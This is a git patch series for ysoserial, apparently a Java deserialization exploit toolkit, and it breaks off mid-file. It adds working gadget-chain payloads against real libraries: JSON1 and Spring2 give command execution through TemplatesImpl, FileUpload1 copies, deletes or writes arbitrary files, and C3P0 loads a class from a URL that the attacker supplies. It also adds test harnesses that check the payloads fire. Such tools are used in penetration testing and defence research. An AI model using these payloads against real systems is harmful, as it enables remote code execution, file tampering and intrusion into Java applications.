makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); - if ( wrapper instanceof WrappedTest ){ - callable = ((WrappedTest)wrapper).createCallable(callable); - } - + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + if ( wrapper instanceof WrappedTest ) { + callable = ( (WrappedTest) wrapper ).createCallable(callable); + } + if ( wrapper instanceof CustomTest ) { ( (CustomTest) wrapper ).run(callable); return; } - try { - - Object deserialized = sm.wrap(callable); - Assert.fail(ASSERT_MESSAGE); // should never get here - } catch (Throwable e) { - // hopefully everything will reliably nest our ExecException - Throwable innerEx = Throwables.getInnermostCause(e); - Assert.assertEquals(ExecException.class, innerEx.getClass()); - Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); - } - Assert.assertEquals(Arrays.asList(command), sm.getCmds()); - } + try { + + Object deserialized = sm.wrap(callable); + Assert.fail(ASSERT_MESSAGE); // should never get here + } + catch ( Throwable e ) { + // hopefully everything will reliably nest our ExecException + Throwable innerEx = Throwables.getInnermostCause(e); + Assert.assertEquals(ExecException.class, innerEx.getClass()); + Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); + } + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); + } + /** * @param payloadClass @@ -121,69 +132,92 @@ public class PayloadsTest { * @return */ private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { - return new Callable(){ - public byte[] call() throws Exception { - ObjectPayload payload = payloadClass.newInstance(); - final Object f = payload.getObject(command); - return Serializer.serialize(f); - }}; + return new Callable() { + + public byte[] call () throws Exception { + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + return Serializer.serialize(f); + } + }; } + /** - * @param t + * @param t * @param addlClassesForClassLoader * @param deps * @param serialized * @return */ - private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, final byte[] serialized ) { - return new Callable(){ - public Object call() throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); - } + private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, + final byte[] serialized ) { + return new Callable() { + + public Object call () throws Exception { + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + } }; } - - private static boolean checkPrecondition ( Class> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + + private static boolean checkPrecondition ( Class> pc, String precondition ) + throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { Method precondMethod = pc.getMethod(precondition); return (Boolean) precondMethod.invoke(null); } + /** * @param payloadClass * @return + * @throws SecurityException + * @throws NoSuchMethodException + * @throws InvocationTargetException + * @throws IllegalArgumentException + * @throws IllegalAccessException */ - private static String[] buildDeps ( final Class> payloadClass ) { - String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass); - if ( System.getProperty("properXalan") != null ) { - baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1); - baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2"; - } - final String[] deps = baseDeps; - return deps; + private static String[] buildDeps ( final Class> payloadClass ) throws Exception { + String[] baseDeps; + if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) { + Method method = payloadClass.getMethod("getDependencies"); + baseDeps = (String[]) method.invoke(null); + } + else { + baseDeps = Dependencies.Utils.getDependencies(payloadClass); + } + if ( System.getProperty("properXalan") != null ) { + baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1); + baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2"; + } + return baseDeps; } - private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { - File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; - URL[] urls = new URL[jars.length]; - for (int i = 0; i < jars.length; i++) { - urls[i] = jars[i].toURI().toURL(); - } - URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ - for (Class clazz : classDependencies) { - byte[] classAsBytes = ClassFiles.classAsBytes(clazz); - defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); - } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); - defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies ) + throws Exception { + File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; + URL[] urls = new URL[jars.length]; + for ( int i = 0; i < jars.length; i++ ) { + urls[ i ] = jars[ i ].toURI().toURL(); + } - }}; + URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) { - Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); - Callable deserializer = (Callable) deserializerClass.getConstructors()[0].newInstance(serialized); - final Object obj = deserializer.call(); - return obj; - } + { + for ( Class clazz : classDependencies ) { + byte[] classAsBytes = ClassFiles.classAsBytes(clazz); + defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); + } + byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); + defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + } + }; + + Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); + Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); + final Object obj = deserializer.call(); + return obj; + } } From 4130fc554525b01c0c404315cbeb08ca98510a9c Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 16:20:13 +0100 Subject: [PATCH 06/25] Add spring variant and json-lib gadget chain. --- pom.xml | 11 ++ src/main/java/ysoserial/payloads/JSON1.java | 134 ++++++++++++++++++ src/main/java/ysoserial/payloads/Spring2.java | 74 ++++++++++ 3 files changed, 219 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/JSON1.java create mode 100644 src/main/java/ysoserial/payloads/Spring2.java diff --git a/pom.xml b/pom.xml index a7cc083..8d39e9b 100644 --- a/pom.xml +++ b/pom.xml @@ -136,6 +136,17 @@ hibernate-core 4.3.11.Final + + org.springframework + spring-aop + 4.1.4.RELEASE + + + net.sf.json-lib + json-lib + jdk15 + 2.4 + diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java new file mode 100644 index 0000000..57eb662 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -0,0 +1,134 @@ +package ysoserial.payloads; + + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; +import java.util.TreeMap; + +import javax.management.openmbean.CompositeData; +import javax.management.openmbean.CompositeDataSupport; +import javax.management.openmbean.CompositeType; +import javax.management.openmbean.OpenDataException; +import javax.management.openmbean.OpenType; +import javax.management.openmbean.TabularDataSupport; +import javax.management.openmbean.TabularType; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import net.sf.json.JSONObject; + + +/** + * + * A bit more convoluted example + * + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes", "unchecked" +} ) +@Dependencies ( { + "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", + "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" +} ) +public class JSON1 implements ObjectPayload { + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + public Map getObject ( String command ) throws Exception { + return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + } + + + /** + * Will call all getter methods on payload that are defined in the given interfaces + */ + public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { + CompositeType rt = new CompositeType("a", "b", new String[] { + "a" + }, new String[] { + "a" + }, new OpenType[] { + javax.management.openmbean.SimpleType.INTEGER + }); + TabularType tt = new TabularType("a", "b", rt, new String[] { + "a" + }); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + CompositeDataSupport cds = Reflections.createWithoutConstructor(CompositeDataSupport.class); + Reflections.setFieldValue(cds, "compositeType", rt); + Reflections.setFieldValue(cds, "contents", new TreeMap()); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(payload)); + final CompositeData cdsProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + CompositeData.class, + ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } + + + /** + * + * @param args + * @throws Exception + */ + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JSON1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java new file mode 100644 index 0000000..076e4cc --- /dev/null +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -0,0 +1,74 @@ +package ysoserial.payloads; + + +import static java.lang.Class.forName; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + * + * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies ( { + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +} ) +public class Spring2 extends PayloadRunner implements ObjectPayload { + + public Object getObject ( final String command ) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + return mitp; + } + + + /** + * + * @param args + * @throws Exception + */ + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Spring2.class, args); + } + +} From 6f9c8dca2b5a87e1c2c59147f0ff058b18d40fab Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 16:24:44 +0100 Subject: [PATCH 07/25] Rename beanutils gadget --- ...anutilsCollectionsLogging1.java => CommonsBeanutils1.java} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename src/main/java/ysoserial/payloads/{CommonsBeanutilsCollectionsLogging1.java => CommonsBeanutils1.java} (87%) diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java similarity index 87% rename from src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java rename to src/main/java/ysoserial/payloads/CommonsBeanutils1.java index 7d46625..cc0d977 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java @@ -12,7 +12,7 @@ import ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload { +public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); @@ -37,6 +37,6 @@ public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload Date: Sat, 5 Mar 2016 16:43:14 +0100 Subject: [PATCH 08/25] Add commons fileupload file operation gadget chain. --- pom.xml | 10 ++ .../java/ysoserial/payloads/FileUpload1.java | 124 ++++++++++++++++++ .../ysoserial/payloads/FileUploadTest.java | 85 ++++++++++++ 3 files changed, 219 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/FileUpload1.java create mode 100644 src/test/java/ysoserial/payloads/FileUploadTest.java diff --git a/pom.xml b/pom.xml index 8d39e9b..e8c32f9 100644 --- a/pom.xml +++ b/pom.xml @@ -93,6 +93,11 @@ javassist 3.19.0-GA + + commons-codec + commons-codec + 1.9 + @@ -147,6 +152,11 @@ jdk15 2.4 + + commons-fileupload + commons-fileupload + 1.3 + diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000..db84ac7 --- /dev/null +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,124 @@ +package ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete:sourceFile:destDir + * - write:destDir:ascii-data + * - writeB64:destDir:base64-data + * - writeOld:destFile:ascii-data + * - writeOldB64:destFile:base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ObjectPayload { + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(":"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + /** + * @param thresh + * @param repoPath + * @param filePath + * @param data + * @return + * @throws IOException + * @throws Exception + */ + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); + writtenF.setAccessible(true); + writtenF.set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java new file mode 100644 index 0000000..09ce06d --- /dev/null +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -0,0 +1,85 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + +import java.io.File; +import java.io.IOException; +import java.util.Arrays; +import java.util.concurrent.Callable; + +import org.junit.Assert; + +import com.google.common.io.Files; + +import ysoserial.CustomTest; + +/** + * @author mbechler + * + */ +public class FileUploadTest implements CustomTest { + + /** + * + */ + private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; + private File source; + private File repo; + + + /** + * + */ + public FileUploadTest () { + try { + source = File.createTempFile("fileupload-test", ".source"); + source.deleteOnExit(); + repo = Files.createTempDir(); + } + catch ( IOException e ) { + e.printStackTrace(); + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) + */ + public void run ( Callable payload ) throws Exception { + try { + Files.write(FDATA, this.source); + payload.call(); + + File found = null; + for ( File f : this.repo.listFiles()) { + found = f; + break; + } + Assert.assertNotNull("File not copied", found); + Assert.assertFalse("Source not deleted", this.source.exists()); + Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); + } finally { + if ( this.repo.exists()) { + for ( File f : this.repo.listFiles()) { + f.delete(); + } + this.repo.delete(); + } + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); + } + +} From c8e82237fe4c4904d5052d4fc9e36cfdca7ae3cf Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 17:23:34 +0100 Subject: [PATCH 09/25] Add C3P0 gadget chain. Add remote classloading test harness. --- pom.xml | 12 ++ src/main/java/ysoserial/payloads/C3P0.java | 93 ++++++++++++ .../java/ysoserial/CustomPayloadArgs.java | 19 +++ src/test/java/ysoserial/CustomTest.java | 4 +- src/test/java/ysoserial/WrappedTest.java | 4 +- .../java/ysoserial/payloads/PayloadsTest.java | 29 ++-- .../payloads/RemoteClassLoadingTest.java | 143 ++++++++++++++++++ 7 files changed, 290 insertions(+), 14 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/C3P0.java create mode 100644 src/test/java/ysoserial/CustomPayloadArgs.java create mode 100644 src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java diff --git a/pom.xml b/pom.xml index e8c32f9..66d97e2 100644 --- a/pom.xml +++ b/pom.xml @@ -74,6 +74,13 @@ 1.8.0 test + + org.nanohttpd + nanohttpd + 2.2.0 + test + + @@ -157,6 +164,11 @@ commons-fileupload 1.3 + + com.mchange + c3p0 + 0.9.5.2 + diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java new file mode 100644 index 0000000..035a7fb --- /dev/null +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -0,0 +1,93 @@ +package ysoserial.payloads; + + +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; + +import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + * + */ +@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" ) +@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) +public class C3P0 implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + private String url; + /** + * @param className + * @param url + */ + public PoolSource ( String className, String url ) { + this.className = className; + this.url = url; + } + + public Reference getReference () throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter () throws SQLException {return null;} + public void setLogWriter ( PrintWriter out ) throws SQLException {} + public void setLoginTimeout ( int seconds ) throws SQLException {} + public int getLoginTimeout () throws SQLException {return 0;} + public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} + public PooledConnection getPooledConnection () throws SQLException {return null;} + public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} + + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(C3P0.class, args); + } + +} diff --git a/src/test/java/ysoserial/CustomPayloadArgs.java b/src/test/java/ysoserial/CustomPayloadArgs.java new file mode 100644 index 0000000..d8e8581 --- /dev/null +++ b/src/test/java/ysoserial/CustomPayloadArgs.java @@ -0,0 +1,19 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomPayloadArgs { + + + String getPayloadArgs (); + +} diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index 7bfe8c1..c3fac94 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -6,9 +6,7 @@ import java.util.concurrent.Callable; * @author mbechler * */ -public interface CustomTest { +public interface CustomTest extends CustomPayloadArgs { void run (Callable payload) throws Exception; - - String getPayloadArgs (); } diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java index 945282c..7abce37 100644 --- a/src/test/java/ysoserial/WrappedTest.java +++ b/src/test/java/ysoserial/WrappedTest.java @@ -6,8 +6,8 @@ import java.util.concurrent.Callable; * @author mbechler * */ -public interface WrappedTest { +public interface WrappedTest extends CustomPayloadArgs { Callable createCallable ( Callable innerCallable ); - + } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 228fbc9..4513037 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -23,6 +23,7 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; import ysoserial.PayloadTest; @@ -91,17 +92,23 @@ public class PayloadsTest { } } + String payloadCommand = command; Object wrapper = null; if ( t != null && !t.harness().isEmpty() ) { - wrapper = Class.forName(t.harness()).newInstance(); + Class wrapperClass = Class.forName(t.harness()); + try { + wrapper = wrapperClass.getConstructor(String.class).newInstance(command); + } catch ( NoSuchMethodException e ) { + wrapper = wrapperClass.newInstance(); + } - if ( wrapper instanceof CustomTest ) { - command = ( (CustomTest) wrapper ).getPayloadArgs(); + if ( wrapper instanceof CustomPayloadArgs ) { + payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); if ( wrapper instanceof WrappedTest ) { callable = ( (WrappedTest) wrapper ).createCallable(callable); @@ -119,9 +126,13 @@ public class PayloadsTest { catch ( Throwable e ) { // hopefully everything will reliably nest our ExecException Throwable innerEx = Throwables.getInnermostCause(e); + if ( ! ( innerEx instanceof ExecException ) ) { + innerEx.printStackTrace(); + } Assert.assertEquals(ExecException.class, innerEx.getClass()); Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); } + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } @@ -171,11 +182,11 @@ public class PayloadsTest { /** * @param payloadClass * @return - * @throws SecurityException - * @throws NoSuchMethodException - * @throws InvocationTargetException - * @throws IllegalArgumentException - * @throws IllegalAccessException + * @throws SecurityException + * @throws NoSuchMethodException + * @throws InvocationTargetException + * @throws IllegalArgumentException + * @throws IllegalAccessException */ private static String[] buildDeps ( final Class> payloadClass ) throws Exception { String[] baseDeps; diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java new file mode 100644 index 0000000..5768ff5 --- /dev/null +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -0,0 +1,143 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.util.Random; +import java.util.concurrent.Callable; + +import fi.iki.elonen.NanoHTTPD; +import fi.iki.elonen.NanoHTTPD.Response.Status; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import ysoserial.WrappedTest; + + +/** + * @author mbechler + * + */ +public class RemoteClassLoadingTest implements WrappedTest { + + private int port; + private String command; + + + /** + * + */ + public RemoteClassLoadingTest ( String command ) { + this.command = command; + this.port = new Random().nextInt(65535-1024)+1024; + } + + + /** + * 